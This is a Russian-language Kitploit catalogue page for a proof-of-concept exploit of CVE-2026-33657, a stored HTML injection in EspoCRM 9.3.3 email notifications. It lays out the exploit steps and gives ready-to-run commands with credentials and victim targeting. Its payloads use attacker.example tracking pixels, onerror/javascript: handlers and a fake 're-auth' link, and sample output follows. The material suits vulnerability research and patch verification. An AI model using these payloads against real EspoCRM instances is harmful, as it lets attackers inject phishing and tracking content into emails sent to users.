Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33657 — EspoCRM 9.3.3 — Хранимая HTML-инъекция в email-уведомлениях | Kitploit
Инструменты/GitHubGitHub/entrovyx/cve-2026-33657
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

EspoCRM 9.3.3 — Хранимая HTML-инъекция в email-уведомлениях

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33657 - Хранимая HTML-инъекция в email-уведомлениях EspoCRM 9.3.3

Аутентифицированный proof-of-concept для хранимой HTML-инъекции в email-уведомлениях EspoCRM 9.3.3.

Краткое описание

EspoCRM 9.3.3 формирует email-уведомления о записях в ленте, преобразуя тело заметки с помощью Markdown и вставляя полученный HTML в шаблоны писем с помощью тройных фигурных скобок ({{{post}}}). Аутентифицированный пользователь, который может создать запись в ленте и инициировать уведомление, может сохранить управляемый атакующим HTML, который впоследствии будет отображаться в теле сформированного письма.

Эксплойт выполняет управляемую атакующим удалённую часть процесса:

  1. Выполняет аутентификацию в EspoCRM.
  2. При необходимости определяет версию через /api/v1/App/user.
  3. Создаёт вредоносную заметку Note, содержащую HTML.
  4. Использует --mention или --target-user-id для постановки цели уведомления в очередь.
  5. Подтверждает, что полезная нагрузка сохранена и цель уведомления присутствует в ответе API.

Доставка письма происходит, когда обычное задание SendEmailNotifications или cron в EspoCRM обрабатывает поставленное в очередь уведомление.

Затронутая версия

  • Уязвимая: EspoCRM 9.3.3
  • Исправленная: EspoCRM 9.3.4
  • Консультация: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
  • CVE: CVE-2026-33657
  • CWE: CWE-80

Требования

  • Python 3
  • requests
  • Действительные учётные данные EspoCRM
  • Возможность создавать записи Note в ленте
  • Цель уведомления:
    • --mention <username> для email-уведомлений об упоминаниях, или
    • --target-user-id <id> для целевых уведомлений о записях в ленте

Установка зависимости:

root@kitploit:~
python3 -m pip install requests

Использование

Предпочтительный путь через упоминание:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u http://127.0.0.1:8083 \
  -U testuser \
  -P 'Admin12345!' \
  --mention admin

Использование собственного URL отслеживания:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --tracking-url https://attacker.example/pixel.gif

Использование полностью настраиваемой HTML-полезной нагрузки:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'

Нацеливание на конкретный идентификатор пользователя вместо упоминания:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --target-user-id 0123456789abcdef0 \
  --target-user-name 'Victim User'

Только определение версии, без создания заметки:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --detect-only

Параметры

root@kitploit:~
-u, --url                 Базовый URL EspoCRM
-U, --username            Имя пользователя EspoCRM
-P, --password            Пароль EspoCRM
--mention                 Имя пользователя для упоминания, без @
--target-user-id          Идентификатор пользователя для целевых уведомлений о записях в ленте
--target-user-name        Отображаемое имя для --target-user-id
--payload                 Сырая HTML-полезная нагрузка для сохранения в заметке
--tracking-url            URL пикселя отслеживания, используемый полезной нагрузкой по умолчанию
--link-url                URL ссылки, используемый полезной нагрузкой по умолчанию
--marker                  Текст маркера, добавляемый перед полезной нагрузкой
--detect-only             Только определить версию; не создавать заметку
--skip-version-check      Пропустить /api/v1/App/user перед эксплуатацией
--force                   Продолжить, даже если определённая версия не 9.3.3
--insecure                Отключить проверку сертификата TLS

Ожидаемый результат

Успешный запуск создаёт вредоносную заметку и подтверждает цель уведомления:

root@kitploit:~
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.

На уязвимом экземпляре сформированное HTML-тело письма сохраняет внедрённый HTML. Пример захвата в лабораторной среде выглядит так:

root@kitploit:~
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>

Проверка в лабораторной среде

В локальной лабораторной среде EspoCRM после запуска эксплойта запустите задание уведомления:

root@kitploit:~
sudo -u www-data php command.php run-job SendEmailNotifications

Тело полученного письма должно содержать внедрённый HTML в части text/html.

Примечания

  • Эксплойту не требуется доступ к оболочке целевой системы; доступ к оболочке полезен только для локальной проверки поставленного в очередь email-задания в лабораторной среде.
  • Если API сообщает @@version, целевая система, вероятно, является сборкой из исходного дерева. Скрипт продолжает работу, поскольку базовый код всё ещё может соответствовать уязвимому тегу 9.3.3.
  • Если --mention не приводит к разбору упоминания, проверьте messagePermission и mentionPermission атакующего, а также убедитесь, что целевое имя пользователя существует и может получать уведомления.
Скачать инструмент